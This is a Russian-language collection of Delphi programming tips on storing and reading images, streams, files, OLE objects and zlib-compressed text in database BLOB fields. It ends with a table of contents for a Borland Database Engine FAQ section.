Вот исходный код примера, копирующий содержание буфера обмена в компонент TDBImage, если содержащиеся в буфере данные имеют формат изображения:

procedure TForm1.Button1Click(Sender: TObject);
var
  C: TClipboard;
begin
  C := TClipboard.Create;
  try
    if Clipboard.HasFormat(CF_BITMAP) then
      DBImage1.PasteFromClipboard
    else
      ShowMessage('Буфер обмена не содержит изображения!');
  finally
    C.Free;
  end;
end;

Второй способ заполнения BLOB-поля заключается в загрузке изображения непосредственно из файла в BLOB-поле. Данный способ одинаково хорош как при создании приложения (формирование данных), так и при его использовании.

Этот способ использует метод LoadFromFile компонента TBLOBField, который применяется в Delphi для работы с dBASE-таблицами и двоичными Windows полями или таблицами Paradox и графическими Windows полями; в обоих случаях с помощью данного метода возможно загрузить изображение и сохранить его в таблице.

Методу LoadFromFile компонента TBLOBField необходим единственный параметр типа String: имя загружаемого файла с изображением. Значение данного параметра может быть получено при выборе файла пользователем с помощью компонента TOpenDialog и его свойства FileName.

Вот пример, демонстрирующий работу метода LoadFromFile компонента TBLOBField с именем Table1Bitmap (поле с именем Bitmap связано с таблицей TTable, имеющей имя Table1):

procedure TForm1.Button2Clicck(Sender: TObject);
begin
  Table1Bitmap.LoadFromFile(
    'c:\delphi\images\splash\16color\construc.bmp');
end;

Третий способ для копирования содержимого объекта типа TBitmap в свойство Picture компонента TDBImage использует метод Assign. Объект типа TBitmap может быть как свойством Bitmap свойства-объекта Picture компонента TImage, так и отдельного объекта TBitmap. Как и в методе, копирующем данные из буфера обмена в компонент TDBImage, данные изображения компонента TDBImage сохраняются в BLOB-поле после успешного сохранения записи.

Ниже приведен пример, использующий метод Assign. В нашем случае используется отдельный объект TBitmap. Для помещения изображения в компонент TBitmap был вызван его метод LoadFromFile.

procedure TForm1.Button3Click(Sender: TObject);
var
  B: TBitmap;
begin
  B := TBitmap.Create;
  try
    B.LoadFromFile('c:\delphi\images\splashh\16color\athena.bmp');
    DBImage1.Picture.Assign(B);
  finally
    B.Free;
  end;
end;

Взято с http://delphiworld.narod.ru


Запись потока в BLOB-поле

Вся хитрость заключается в использовании StrPcopy (помещения вашей строки в PChar) и записи буфера в поток. Вы не сможете передать это в PChar непосредственно, поскольку ему нужен буфер, поэтому для получения необходимого размера буфера используйте <BufferName>[0] и StrLen().

Вот пример использования TMemoryStream и записи его в Blob-поле:

var
  cString: string;
  oMemory: TMemoryStream;
  Buffer: PChar;
begin
  cString := 'Ну, допустим, хочу эту строку!';

  { СОздаем новый поток памяти }
  oMemory := TMemoryStream.Create;

  {!! Копируем строку в PChar }
  StrPCopy(Buffer, cString);

  { Пишем =буфер= и его размер в поток }
  oMemory.Write(Buffer[0], StrLen(Buffer));

  {Записываем это в поле}
  < Blob / Memo / GraphicFieldName > .LoadFromStream(oMemory);

  { Необходимо освободить ресурсы}
  oMemory.Free;
end;

Взято с http://delphiworld.narod.ru


Запись и чтение чисел в Blob-поле

Мне нужно записать серию чисел в файл Paradox в blob-поле. Числа получаются из значений компонент, размещенных на форме. Затем мне нужно будет считывать числа из blob-поля и устанавливать согласно им значения компонент. Как мне сделать это?

Вы можете начать свое исследование со следующего модуля:

unit BlobFld;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, Buttons, DBTables, DB, ExtCtrls, DBCtrls,
  Grids, DBGrids;

type
  TFrmBlobFld = class(TForm)
    BtnWrite: TBitBtn;
    Table1: TTable;
    DataSource1: TDataSource;
    DBNavigator1: TDBNavigator;
    LbxDisplayBlob: TListBox;
    Table1pubid: TIntegerField;
    Table1comments: TMemoField;
    Table1UpdateTime: TTimeField;
    Table1Real1: TFloatField;
    Table1Real2: TFloatField;
    Table1Real3: TFloatField;
    Table1Curr1: TCurrencyField;
    Table1Blobs: TBlobField;
    Table1Bytes: TBytesField;
    CbxRead: TCheckBox;
    procedure BtnWriteClick(Sender: TObject);
    procedure DataSource1DataChange(Sender: TObject; Field: TField);
    procedure FormShow(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  FrmBlobFld: TFrmBlobFld;

implementation

{$R *.DFM}

type
  ADouble = array[1..12] of double;
  PADouble = ^ADouble;

procedure TFrmBlobFld.BtnWriteClick(Sender: TObject);
var
  i: integer;
  myBlob: TBlobStream;
  v: longint;
begin
  Table1.Edit;

  myBlob := TBlobStream.Create(Table1Blobs, bmReadWrite);
  try
    v := ComponentCount;
    myBlob.Write(v, sizeof(longint));

    for i := 0 to ComponentCount - 1 do
    begin
      v := Components[i].ComponentIndex;
      myBlob.Write(v, sizeof(longint));
    end;
  finally
    Table1.Post;
    myBlob.Free;
  end;
end;

procedure TFrmBlobFld.DataSource1DataChange(Sender: TObject; Field: TField);
var
  i: integer;
  myBlob: TBlobStream;
  t: longint;
  v: longint;
begin
  if CbxRead.Checked then
  begin
    LbxDisplayBlob.Clear;

    myBlob := TBlobStream.Create(Table1Blobs, bmRead);
    try
      myBlob.Read(t, sizeof(longint));
      LbxDisplayBlob.Items.Add(IntToStr(t));

      for i := 0 to t - 1 do
      begin
        myBlob.Read(v, sizeof(longint));
        LbxDisplayBlob.Items.Add(IntToStr(v));
      end;
    finally
      myBlob.Free;
    end;
  end;
end;

procedure TFrmBlobFld.FormShow(Sender: TObject);
begin
  Table1.Open;
end;

procedure TFrmBlobFld.FormClose(Sender: TObject;
  var Action: TCloseAction);
begin
  Table1.Close;
end;

end.

Взято с http://delphiworld.narod.ru

Как мне в таблице Paradox скопировать массив целочисленных чисел в TBlobField и наоборот? Элементы массива являются точками графика данных, который я хочу выводить, если запись доступна.

Запишите массив в поток памяти и затем используйте метод TBlob LoadFromStream. Для извлечения данных используйте метод TBlob SaveToStream (сохранение и извлечение массива из потока памяти).

Взято с http://delphiworld.narod.ru


BLOBFIELD как BITMAP

Сохраняем Bitmap в поле dbase с именем Icon. Icon представляет собой двоичное Blob-поле.

procedure ....
var IconStream : TMemoryStream;
..
..
begin

.
.
IconStream := TMemoryStream.Create;
Image1.picture.icon.savetostream(IconStream);
(Table1.fieldbyname('Icon') as TBlobField).LoadFromStream(IconStream);
Table1.post;
IconStream.Free;
.
.
end;

** Читаем Bitmap в Timage из поля dbase с именем Icon.

procedure .....
var IconStream : TMemoryStream;
..
..
begin
.
.
IconStream := TMemoryStream.Create;
(Table1.fieldbyname('Icon') as TBlobField).SaveToStream(IconStream);
{что бы что-нибудь записать, необходимо установить позицию потока в ноль!}
IconStream.Position := 0;
appointment.iconimage.picture.icon.loadfromstream(iconstream);
IconStream.Free;
end;

Надеюсь это поможет, поскольку найти информацию в справочной системе по этой теме практически невозможно. Чтобы сделать это, я перепробовал множество способов. Я пробовал использовать TBlobField и TBlobStream, но они не смогли мне помочь (может быть из-за убогой документации borland?).

Взято с http://delphiworld.narod.ru


Чтение OLE из Blob поля Paradox

Автор: Eryk

...после моих дискуссий с людьми из службы технической поддержки Borland вывод один -- это невозможно!

Попробуйте так:

procedure TForm1.SpeedButton1Click(Sender: TObject);
var
  b: TBlobStream;
begin
  try
    b := TBlobStream.Create((Table1.FieldByName('OLE') as TBlobField),bmRead);
    OLEContainer1.LoadFromStream(b);
  finally
    b.free;
  end;
end;

...и:

procedure TForm1.SpeedButton2Click(Sender: TObject);
var
  b: TBlobStream;
begin
  try
    Table1.Insert;
    b := TBlobstream.Create((Table1.FieldByName('OLE') as TBlobField),bmReadWrite);
    OLEContainer1.SaveToStream(b);
    Table1.Post;
  finally
    b.free;
  end;
end;

Я, кажется, припоминаю несколько ошибок GPFs с этим кодом, но это, вероятно, связано с тем, что я использую WinNT с другим распределением памяти... тем не менее, основные функции работали как положено (т.е. данные сохранялись и загружались). Основная специфика проявилась в том, что PdoxWIN не смог прочесть данные TOLEContainer. Но это результаты моих экспериментов и предположений, исходя из которых PdoxWIN ожидает 8-байтовый заголовок BLOB-поля, который ему просто не дает TOLEContainer... если это так, то это легко обойти.

Взято с http://delphiworld.narod.ru


Сохранение и чтение файлов в BLOB-полях

// Сохраняем
procedure TForm1.Button1Click(Sender: TObject);
var
  blob: TBlobStream;
begin
  blob := yourDataset.CreateBlobStream(yourDataset.FieldByName('YOUR_BLOB'), bmWrite);
  try
    blob.Seek(0, soFromBeginning);
    fs := TFileStream.Create('c:\your_name.doc', fmOpenRead or
      fmShareDenyWrite);
    try
      blob.CopyFrom(fs, fs.Size)
    finally
      fs.Free
    end;
  finally
    blob.Free
  end;
end;

// Загружаем
procedure TForm1.Button1Click(Sender: TObject);
var
  blob: TBlobStream;
begin
  blob := yourDataset.CreateBlobStream(yourDataset.FieldByName('YOUR_BLOB'), bmRead);
  try
    blob.Seek(0, soFromBeginning);

    with TFileStream.Create('c:\your_name.doc', fmCreate) do
      try
        CopyFrom(blob, blob.Size)
      finally
        Free
      end;
  finally
    blob.Free
  end;
end;

Взято с http://delphiworld.narod.ru


Сохранение TForm и ее свойств в BLOB-поле

procedure SaveToField(FField: TBlobField; Form: TComponent);
var
  Stream: TBlobStream;
  FormName: string;
begin
  FormName := Copy(Form.ClassName, 2, 99);
  Stream := TBlobStream.Create(FField, bmWrite);
  try
    Stream.WriteComponentRes(FormName, Form);
  finally
    Stream.Free;
  end;
end;

procedure LoadFromField(FField: TBlobField; Form: TComponent);
var
  Stream: TBlobStream;
  I: integer;
begin
  try
    Stream := TBlobStream.Create(FField, bmRead);
    try
      {удаляем все компоненты}
      for I := Form.ComponentCount - 1 downto 0 do
        Form.Components[I].Free;
      Stream.ReadComponentRes(Form);
    finally
      Stream.Free;
    end;
  except
    on EFOpenError do
      {ничего};
  end;
end;

Взято с http://delphiworld.narod.ru


Связать поле BLOB таблицы Paradox с компонентом TRichEdit через потоки

Автор: Сергей Лагонский

Я сам занимался этой задачей и мое предыдущее письмо к Вам явилось результатом экспериментов над TRichEdit. Поэтому я хочу предложить Вам пример проэкта, в котором я связываю поле BLOB таблицы Paradox с компонентом TRichEdit через потоки. Кроме того я использую библиотеку ZLib из стандартного приложения к Delphi 3 CSS. Это позволяет по ходу перекачивания данных в таблицу сжимать текст, а при чтении - распаковывать его чем достигается уменьшение размера .MB-файла, что полезно при большом количестве записей с BLOB-полем.

В заключение хочу сказать несколько слов о библиотеке ZLib.dcu (размер 48496 байт, дата создания 24.03.97г.) которая включена в поставку Delphi 3. При использовании конструктора TDecompressStream почему-то генерировался Default Beep и это очень задерживало выполнение декомпрессии. По счастью в поставку входит и исходный текст ZLib.pas. Я перекомпилировал модуль с помощью тестового примера, также входящего в поставку, при этом указав в настройках проэкта не включать отладочную информацию. В результате размер ZLib.dcu стал равным 45681 байт, а сигнал генерироваться перестал.

Теперь о проэкте. Он имеет одну форму frmMain. Содержимое файлов проэкта привожу ниже. Для работы также необходима таблица Table.db, имеющая структуру:

   Имя поля   Тип   Размер
   ID      +
   BLOBData   B   64

и Alias с именем CBDB указывающий на каталог с этой таблицей.
Для упрощения размещения компонентов в форме проделайте следующее:

Создайте новый проект;
Скопируйте выделенную красным цветом часть файла Main.dfm в буфер обмена;
Сделайте активной вновь созданную форму и вставте в нее содержимое буфера;
Измените свойства самой формы в соответствии с нижеприведенным описанием.

// Файл Main.dfm:

object frmMain: TfrmMain

  Left = 476
    Top = 347
    BorderStyle = bsSingle
    Caption = 'Compressed BLOB'
    ClientHeight = 235
    ClientWidth = 246
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    Position = poScreenCenter
    OnShow = FormShow
    PixelsPerInch = 96
    TextHeight = 13
    object SB1: TSpeedButton
    Left = 1
      Top = 209
      Width = 25
      Height = 25
      Hint = 'Добавить'
      Glyph.Data = {
    76010000424D7601000000000000760000002800000020000000100000000100
    04000000000000010000130B0000130B00001000000000000000000000000000
    800000800000008080008000000080008000808000007F7F7F00BFBFBF000000
    FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333333333
    33333333333FFFFFFFFF333333000000000033333377777777773333330FFFFF
    FFF03333337F333333373333330FFFFFFFF03333337F3FF3FFF73333330F00F0
    00F03333F37F773777373330330FFFFFFFF03337FF7F3F3FF3F73339030F0800
    F0F033377F7F737737373339900FFFFFFFF03FF7777F3FF3FFF70999990F00F0
    00007777777F7737777709999990FFF0FF0377777777FF37F3730999999908F0
    F033777777777337F73309999990FFF0033377777777FFF77333099999000000
    3333777777777777333333399033333333333337773333333333333903333333
    3333333773333333333333303333333333333337333333333333}
    NumGlyphs = 2
      ParentShowHint = False
      ShowHint = True
      OnClick = SB1Click
  end
  object SB2: TSpeedButton
    Left = 25
      Top = 209
      Width = 25
      Height = 25
      Hint = 'Удалить'
      Glyph.Data = {
    76010000424D7601000000000000760000002800000020000000100000000100
    0400000000000001000000000000000000001000000000000000000000000000
    8000008000000080800080000000800080008080000080808000C0C0C0000000
    FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333333333
    33333333333FFFFFFFFF333333000000000033333377777777773333330FFFFF
    FFF03333337F333333373333330FFFFFFFF03333337F3FF3FFF73333330F00F0
    00F033333F7F773777373333300FFFFFFFF03333F73FFF3FF3F733330C0F0800
    F0F0333F773F337737373330CC0FFFFFFFF033F777FFFFF3FFF7330CCCCC00F0
    00003F777777F737777730CCCCCC0FF0FF03F7777777FF37F3730CCCCCCC08F0
    F03377777777F337F73330CCCCCC0FF0033337777777FFF77333330CCCCC0000
    333333777777777733333330CC3333333333333777333333333333330C333333
    3333333377333333333333333033333333333333373333333333}
    NumGlyphs = 2
      ParentShowHint = False
      ShowHint = True
      OnClick = SB2Click
  end
  object SB3: TSpeedButton
    Left = 49
      Top = 209
      Width = 25
      Height = 25
      Hint = 'Редактировать'
      Glyph.Data = {
    76010000424D7601000000000000760000002800000020000000100000000100
    04000000000000010000120B0000120B00001000000000000000000000000000
    800000800000008080008000000080008000808000007F7F7F00BFBFBF000000
    FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333000000
    000033333377777777773333330FFFFFFFF03FF3FF7FF33F3FF700300000FF0F
    00F077F777773F737737E00BFBFB0FFFFFF07773333F7F3333F7E0BFBF000FFF
    F0F077F3337773F3F737E0FBFBFBF0F00FF077F3333FF7F77F37E0BFBF00000B
    0FF077F3337777737337E0FBFBFBFBF0FFF077F33FFFFFF73337E0BF0000000F
    FFF077FF777777733FF7000BFB00B0FF00F07773FF77373377373330000B0FFF
    FFF03337777373333FF7333330B0FFFF00003333373733FF777733330B0FF00F
    0FF03333737F37737F373330B00FFFFF0F033337F77F33337F733309030FFFFF
    00333377737FFFFF773333303300000003333337337777777333}
    NumGlyphs = 2
      ParentShowHint = False
      ShowHint = True
      OnClick = SB3Click
  end
  object SB4: TSpeedButton
    Left = 73
      Top = 209
      Width = 25
      Height = 25
      Hint = 'Отменить редактирование'
      Glyph.Data = {
    DE010000424DDE01000000000000760000002800000024000000120000000100
    0400000000006801000000000000000000001000000000000000000000000000
    80000080000000808000800000008000800080800000C0C0C000808080000000
    FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF00333333333333
    333333333333333333333333000033338833333333333333333F333333333333
    0000333911833333983333333388F333333F3333000033391118333911833333
    38F38F333F88F33300003339111183911118333338F338F3F8338F3300003333
    911118111118333338F3338F833338F3000033333911111111833333338F3338
    3333F8330000333333911111183333333338F333333F83330000333333311111
    8333333333338F3333383333000033333339111183333333333338F333833333
    00003333339111118333333333333833338F3333000033333911181118333333
    33338333338F333300003333911183911183333333383338F338F33300003333
    9118333911183333338F33838F338F33000033333913333391113333338FF833
    38F338F300003333333333333919333333388333338FFF830000333333333333
    3333333333333333333888330000333333333333333333333333333333333333
    0000}
    NumGlyphs = 2
      ParentShowHint = False
      ShowHint = True
      OnClick = SB4Click
  end
  object P1: TPanel
    Left = 0
      Top = 0
      Width = 246
      Height = 206
      BevelInner = bvRaised
      BevelOuter = bvLowered
      BevelWidth = 2
      TabOrder = 0
      object RE: TRichEdit
      Left = 5
        Top = 5
        Width = 236
        Height = 196
        ScrollBars = ssVertical
        TabOrder = 0
    end
  end
  object DBN: TDBNavigator
    Left = 149
      Top = 209
      Width = 96
      Height = 25
      DataSource = DS
      VisibleButtons = [nbFirst, nbPrior, nbNext, nbLast]
      TabOrder = 1
  end
  object T1: TTable
    Active = True
      DatabaseName = 'CBDB'
      TableName = 'table.db'
      Left = 5
      Top = 5
      object T1ID: TAutoIncField
      FieldName = 'ID'
        Visible = False
    end
    object T1BLOBData: TBlobField
      FieldName = 'BLOBData'
        Visible = False
        BlobType = ftBlob
        Size = 64
    end
  end
  object OD: TOpenDialog
    DefaultExt = 'rtf'
      Filter = 'RTF-файлы|*.rtf|Все файлы|*.*'
      Title = 'Выберите файл'
      Left = 5
      Top = 35
  end
  object DS: TDataSource
    DataSet = T1
      OnDataChange = DSDataChange
      Left = 35
      Top = 5
  end
end

// Файл Main.pas:

unit Main;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Db, DBTables, StdCtrls, ComCtrls, ExtCtrls, DBCtrls, Buttons, swDBPanl,
  swRecPos;
type

  TfrmMain = class(TForm)
    T1: TTable;
    T1ID: TAutoIncField;
    T1BLOBData: TBlobField;
    OD: TOpenDialog;
    P1: TPanel;
    SB1: TSpeedButton;
    SB2: TSpeedButton;
    SB3: TSpeedButton;
    SB4: TSpeedButton;
    DS: TDataSource;
    DBN: TDBNavigator;
    procedure SB1Click(Sender: TObject);
    procedure SB2Click(Sender: TObject);
    procedure SB3Click(Sender: TObject);
    procedure SB4Click(Sender: TObject);
    procedure DSDataChange(Sender: TObject; Field: TField);
    procedure FormShow(Sender: TObject);
  private
    EF: boolean;
    procedure SetButtons;
    procedure UpdateEditor;
    procedure StoreFromFile;
    procedure StoreFromEditor;
  public
    { Public declarations }
  end;

var
  frmMain: TfrmMain;

implementation
uses ZLib;

{$R *.DFM}

const
  LID: longint = 0;

procedure TfrmMain.SetButtons;
var
  c1: boolean;
begin
  c1 := T1.RecordCount > 0;

  SB2.Enabled := not EF and c1;
  SB3.Enabled := not EF and c1;
  SB4.Enabled := EF;
end;

procedure TfrmMain.UpdateEditor;
var
  Buf: TStream;

  ZStream: TCustomZLibStream;
  id: longint;
begin

  id := T1ID.AsInteger;
  if (id = LID) and not EF then
    exit
  else
    LID := id;
  Buf := TMemoryStream.Create;
  T1BLOBData.SaveToStream(Buf);
  if Buf.Size > 0 then
  begin
    ZStream := TDecompressionStream.Create(Buf);
    RE.Lines.LoadFromStream(ZStream);
    ZStream.Free;
  end
  else
    RE.Lines.Clear;
  Buf.Free;
end;

procedure TfrmMain.StoreFromFile;
var
  InFile, Buf: TStream;

  ZStream: TCustomZLibStream;
begin

  if not OD.Execute then
    exit;
  T1.AppendRecord([NULL]);
  InFile := TFileStream.Create(OD.FileName, fmOpenRead);
  Buf := TMemoryStream.Create;
  ZStream := TCompressionStream.Create(clMax, Buf);
  ZStream.CopyFrom(InFile, 0);
  ZStream.Free;
  T1.Edit;
  T1BLOBData.LoadFromStream(Buf);
  T1.Post;
  Buf.Free;
  InFile.Free;
  LID := 0;
  UpdateEditor;
end;

procedure TfrmMain.StoreFromEditor;
var
  InStream, Buf: TStream;

  ZStream: TCustomZLibStream;
begin

  InStream := TMemoryStream.Create;
  Buf := TMemoryStream.Create;
  RE.Lines.SaveToStream(InStream);
  ZStream := TCompressionStream.Create(clMax, Buf);
  ZStream.CopyFrom(InStream, 0);
  ZStream.Free;
  T1.Edit;
  T1BLOBData.LoadFromStream(Buf);
  T1.Post;
  UpdateEditor;
end;

procedure TfrmMain.SB1Click(Sender: TObject);
begin

  if EF then
  begin
    StoreFromEditor;
    RE.ReadOnly := true;
    DBN.Enabled := true;
    EF := false;
    SB1.Hint := 'Добавить';
  end
  else
    StoreFromFile;
  SetButtons;
end;

procedure TfrmMain.SB2Click(Sender: TObject);
begin

  if MessageDlg('Удалять запись?', mtConfirmation, [mbYes, mbNo], 0) = mrYes
    then
  begin
    T1.Delete;
    SetButtons;
  end;
end;

procedure TfrmMain.SB3Click(Sender: TObject);
begin

  DBN.Enabled := false;
  EF := true;
  SB1.Hint := 'Внести изменения';
  RE.ReadOnly := false;
  SetButtons;
end;

procedure TfrmMain.SB4Click(Sender: TObject);
begin

  UpdateEditor;
  DBN.Enabled := true;
  EF := false;
  SB1.Hint := 'Добавить';
  RE.ReadOnly := true;
end;

procedure TfrmMain.DSDataChange(Sender: TObject; Field: TField);
begin
  if assigned(frmMain) and Visible and not EF then

  begin
    UpdateEditor;
    SetButtons;
  end;
end;

procedure TfrmMain.FormShow(Sender: TObject);
begin

  EF := false;
  SetButtons;
  DSDataChange(nil, nil);
end;

end.

// Файл CompBLOB.dpr:

program CompBLOB;
uses

  Forms,
  Main in 'Main.pas' {frmMain};

{$R *.RES}

begin

  Application.Initialize;
  Application.CreateForm(TfrmMain, frmMain);
  Application.Run;
end.

Взято с http://delphiworld.narod.ru


Как записать в BLOB поле большой текст (более 255)?

var
  S: TBlobStream;
  B: pointer;
  c: integer;

...

  Table1.Edit;
  S := TBlobStream.Create(Table1BlobField as TBlobField, bmWrite); {кажется, так}
  C := S.write(B, C);
  Table1.Post;
  S.Destroy;

или так

var
  S: TMemoryStream;
  B: pointer;
  C: integer;

...

S := TMemoryStream.Create;

...

  Table1.Edit;
  S.Clear;
  S.SetSize(C);
  C := S.write(B,C);
  (Table1BlobField as TBlobField).LoadFromStream(S);
  S.Clear;
  Table1.Post;

...

S.Destroy;

Взято с http://delphiworld.narod.ru


Сохранить в базе картинку формата JPEG

uses JPEG;
...
if Picture.Graphic is TJPegImage then
begin
  bs:=TBlobStream.Create(TBlobField(Field),bmWrite);
  Picture.Graphic.SaveToStream(bs);
  bs.Free;
end
else if Picture.Graphic is TBitmap then
begin
  Jpg:=TJPegImage.Create;
  Jpg.CompressionQuality:=...;
  Jpg.PixelFormat:=...;
  Jpg.Assign(Picture.Graphic);
  Jpg.JPEGNeeded;
  bs:=TBlobStream.Create(TBlobField(Field),bmWrite);
  Jpg.SaveToStream(bs);
  bs.Free;
  Jpg.Free;
end
else
  Field.Clear;

Взято с http://delphiworld.narod.ru


Приёмы работы с BLOB (OLE/Memo) полями

Загрузка файла из TImage:

      QAll.Edit;
      QAll.FieldByName('Logo').assign(Image.Picture);
      QAll.post;

Чтение файла из таблицы в TImage:

  Image.Picture.assign(QAll.FieldByName('Logo'));

Загрузка данных в поле:

(Table1.DataSource2.Fields.Field[01] As TBlobField).LoadFromStream

Загрузка данных через параметры:

Запрос

Insert into MyTable (MyBlobField)
Values (:Something)

В коде:

(Query1.parameters.parambyname('Something') as TBlobField).LoadFromFile ...
(Query1.parameters.parambyname('Something') as TBlobField).LoadFromStream ...
(Query1.parameters.parambyname('Something') as TBlobField).assign ...

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято из http://forum.sources.ru


Сохранить F1Book в Blob поле

uses vcf1, dbtables;

procedure SaveSpreadsheet(F1Book: TF1Book);
var
  BlobStream: TBlobStream;
  MyBlob: HGlobal;
  pblob: Pointer;
begin
  with Datamodule1.Query1 do
  begin
    Set8087CW($133f);
    try
      Application.ProcessMessages;
      F1Book.SaveWindowInfo;
      MyBlob := GlobalAlloc(GMEM_MOVEABLE, 2000);
      try
        F1Book.WriteToBlob(MyBlob, 0);
        pBlob := globalLock(MyBlob);
        try
          Blobstream := TBlobStream.Create(TBlobField(FieldByName('QUOTE_BLOB')),
            bmWrite);
          try
            Blobstream.Write(pBlob^, GlobalSize(myBlob));
          finally
            Blobstream.Free;
          end;
        finally
          globalUnlock(MyBlob);
        end;
        F1book.IF1Book_Modified := False;
      finally
        globalFree(myblob);
      end;
    finally
      Set8087CW(Default8087CW);
      Application.ProcessMessages;
    end;
  end;
end;

//Depending on your Delphi Version (<D4), you will need:

var
  Default8087CW: Word = $1332;

procedure Set8087CW(NewCW: Word);
asm
  MOV     Default8087CW,AX
  FLDCW   Default8087CW
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Извлечение текста из TMemoField

var
  P: PChar;
  S: TMemoryStream;
  Size: LongInt;
begin
  S := TMemoryStream.Create;
  MyMemoField.SaveToStream(S);
  Size := S.Position;
  GetMem(P, Size + 1);
  S.Position := 0;
  S.Read(P^, Size);
  P[Size] := #0;
  S.Free;
  { используем текст в PChar }
  FreeMem(P, Size + 1);
end;

Автор: Steve Schafer

Взято с http://delphiworld.narod.ru


Работа через BDE

Cодержание раздела:

Установка BDE
· Почему я должен устанавливать BDE?
· Как установить BDE?
· Проверка наличия BDE
· Как узнать версию BDE?
· Как инициализировать BDE, если она установлена в нестандартном месте?

Настройка BDE, Database Desktop
· Не читаются русские буквы в Database Desktop
· Ошибка совместного доступа к базе данных
· Не получается вставить в таблицу записи со строками на русском языке
· Модификация настроек BDE

Справочные материалы по BDE
· Каковы текущие ограничения BDE?
· Cписок зарезервированных слов Local SQL BDE
· Список ошибок BDE
· Протокол блокировки BDE
· Архитектура BDE и его особенности при работе с SQL-серверами(статья) New!
· Конфликт IDAPI German и English New!

Работа с Alias
· Как создать постоянный Alias?
· Как получить параметры Alias? Updated!
· Как по Alias узнать физический путь к базе данных? Updated!
· Добавление псевдонима с помощью функции DbiAddAlias
· Задание псевдонима программным путем New!

Поддержка пользователей, защита
· Как сделать список всех пользователей BDE?
· Как сменить пароль для таблицы Paradox?
· Как использовать свой диалог ввода пароля BDE

Непосредственное обращение к BDE
· Обратные вызовы BDE32 для получения статуса операций
· Каким драйвером пользуется TDATABASE?
· Изменение месторасположения *.NET-файла
· Демонстрация обратного вызова BDE
· Пример DbiAddFilter

Работа с базами данных
· Как использовать базу данных BDE не указывая её имени?
· Узнать физическое расположение локальной БД по Alias
· Как проверять корректность доступа к базе данных?
· Как зарегистрировать базу данных (BDE)?
· Определение типа базы данных
· Как очистить базу данных, оставив только структуру?
· Функция для быстрого копирования таблиц вместе со всеми дополнительными файлами
· Как перейти к указанной записи в БД New!

Работа с TTable, TQuery и TDatabase
· Как обновить TQuery не потеряв при этом текущей записи?
· Дает ли Delphi возможность корректно прервать выполнение SQL-запроса (BDE)?
· Как добавить копию текущей записи?
· Создание индексного файла из Delphi
· Как по имени Базы Данных получить ссылку на компоненет TDataBase?
· Как выбрать случайную запись?
· Быстрый доступ к нужной записи в таблице Paradox
· Как скопировать структуру таблицы?
· Почему таблица или select показывается в Grid быстро, а перемещение в конец таблицы происходит долго?
· Как результат Query сделать в виде постоянной таблицы?
· Фильтр посредством логического поля
· Функция вычисления суммы полей
· Создание и удаление полей во время выполнения программы
· Как пересчитать все вычисляемые поля (Calculated fields) без переоткрытия TDataSet
· Поиск по нескольким полям
· Поиск значения при вводе Updated!
· Поиск записи в больших таблицах
· Поиск записи с помощью TQuery
· FindKey для нескольких полей
· Как показать удалённые записи New!
· Вставка новой записи через буфер New!

Объяснения некоторых ошибок при работе с базами данных
· Access to table disabled because of previous error. Read failure.
· Database index out of date error
· BDE Error 2B04 Too many open files
· BLOB has been modified., Index is out of date
· ISAPI and CGI Applications get Errors Initializing the BDE.
· При использовании BDE, попытка вызвать abort выдает ошибку компиляции
· Огромные LCK-файлы (Lock File Has Grown Too Large)
· Обработка исключения index not found
· Memo too large
· Multiple records found, but only one was expected
· Перехват ошибок DBEngine
· Stream Read Error
· Ошибка создания дескриптора курсора
· Ошибка BDE32 2104
· Тpансляция ошибок

Работа с таблицами
· Очень медленный доступ к таблице при первом обращении
· Как создать таблицу в памяти?
· Создание кросс-таблицы
· Физическое удаление записей в локальных таблицах (BDE)
· Копирование таблицы с помощью DBE
· Создание таблицы
· Получение информации о таблице
· Как сохранить содержимое таблицы в текстовый файл
· Кросс-таблица через pivot-таблицу
· Создание таблицы по образу и подобию
· Local SQL и временная таблица
· Как копировать и удалять таблицы?
· Упаковка таблиц

Работа с BDE в сети, общий доступ к данным
· Использование BDE в сети
· Локальный общий доступ
· Использование BDE приложений в Peer-To-Peer сети

Работа с полями
· Использование нумерации в TFields
· Изменить размер поля или его тип
· Динамическое создание полей
· Работа с автоинкрементальными (AutoInc) полями
· Как задать выражение по умолчанию для объекта TField
· Функции редактора полей во время выполнения программы

Работа с индексами
· Убывающий индекс
· Создание индекса
· Поиск фраз и записей переменной длины
· Как добиться верной работы фильтра на запросах и на неиндексированных таблицах
· Индекс БД в другом каталоге
· Как восстановить индекс Paradox?
· Как восстановить индексы? New!
· Почему не всегда верно обновляются IndexDefs по Update New!

Работа с запросами SQL в BDE
· Выполнение запросов к базе данных в фоне
· BDE: Несколько SQL-запросов одним махом

Разные вопросы
· Проблемы использования компонента TStoredProc
· Как сделать экспорт TDataSet в XML file?
· Какой формат данных предпочесть в Delphi? DBase или Paradox?
· Пример вызова TUTILITY DLL из Delphi?
· Правила для SetRange
· Как заставить BDE сохранять в БД поле времени с сотыми долями секунды
· Внести изменения в набор данных и не потерять текушей позиции
· Работа с транзакциями
· Как сравнить Bookmarks в таблице


Установка BDE

Cодержание раздела:

Почему я должен устанавливать BDE?
Как установить BDE?
Проверка наличия BDE
Как узнать версию BDE?
Как инициализировать BDE, если она установлена в нестандартном месте?


Почему я должен устанавливать BDE?

Есть один вопрос: как сделать так чтобы локальная база данных работала без бде администратор. В моем проекте база альясы не использует.

